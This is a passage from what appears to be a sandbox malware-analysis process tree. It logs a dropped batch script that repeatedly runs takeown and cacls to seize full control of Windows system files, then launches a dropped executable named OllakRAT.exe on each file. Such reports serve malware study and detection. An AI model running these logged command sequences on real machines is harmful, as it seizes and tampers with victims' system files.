                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                PID:5332
                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:3100
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:5460
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                      OllakRAT.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:3868
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:4088
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1616
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                        cacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:3876
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                          takeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:5256
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3176
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                PID:4452
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5940
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:5584
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                cacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:5064
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                  takeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:5276
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1944
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                        OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        PID:2296
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:5236
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:5536
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                        cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4904
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                          takeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:3668
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5496
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                PID:5448
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:5708
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Mail\wab.exe""
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:5768
                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:5436
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                    cacls "C:\Program Files (x86)\Windows Mail\wab.exe" /E /G Admin:F /C
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:5680
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                      takeown /F "C:\Program Files (x86)\Windows Mail\wab.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                      PID:940
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "wab.exe" -nobanner
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:5608
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula "wab.exe" -nobanner
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:288
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:4124
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:5440
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:944
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:3324
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:4076
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:4820
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:2536
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:5240
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                          cacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                          PID:3780
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                          takeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                          PID:5384
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                          PID:4036
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:4044
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:2856
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:5916
                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3100
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                  cacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:3868
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                    takeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:3932
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1832
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:5972
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:6004
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          PID:5144
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:5256
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:3288
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                PID:5940
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "wabmig.exe" -nobanner
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:840
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                    OllakRAT.exe -accepteula "wabmig.exe" -nobanner
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:3096
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:5988
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:5660
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                        cacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:5984
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                          takeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:4220
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:5584
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:4432
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:5860
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f227201b-4092-454e-9f66-7709a83ee190.1.etl""
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:3668
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                    cacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f227201b-4092-454e-9f66-7709a83ee190.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:5472
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                      takeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f227201b-4092-454e-9f66-7709a83ee190.1.etl"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:5708
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "UpdateSessionOrchestration.f227201b-4092-454e-9f66-7709a83ee190.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:5308
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula "UpdateSessionOrchestration.f227201b-4092-454e-9f66-7709a83ee190.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:1864
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:2932
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.2e7c001d-c36d-467a-993f-e8a7ae93a208.1.etl""
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:3792
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                PID:272
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                cacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.2e7c001d-c36d-467a-993f-e8a7ae93a208.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:5936
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                  takeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.2e7c001d-c36d-467a-993f-e8a7ae93a208.1.etl"
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:4124
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "MoUsoCoreWorker.2e7c001d-c36d-467a-993f-e8a7ae93a208.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:5780
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                        OllakRAT.exe -accepteula "MoUsoCoreWorker.2e7c001d-c36d-467a-993f-e8a7ae93a208.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:5840
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                        OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:956
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.02bb9d36-869d-4ff4-8e18-be9767b5c208.1.etl""
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:4008
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                            cacls "C:\ProgramData\USOShared\Logs\System\WuProvider.02bb9d36-869d-4ff4-8e18-be9767b5c208.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:2640
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                              takeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.02bb9d36-869d-4ff4-8e18-be9767b5c208.1.etl"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:5428
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "WuProvider.02bb9d36-869d-4ff4-8e18-be9767b5c208.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5260
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                    OllakRAT.exe -accepteula "WuProvider.02bb9d36-869d-4ff4-8e18-be9767b5c208.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5712
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:412
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4032
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                        cacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:5648
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                          takeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:2940
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                            PID:5320
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                              OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:3768
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5628
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5752
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                  PID:3868
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                  cacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5012
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
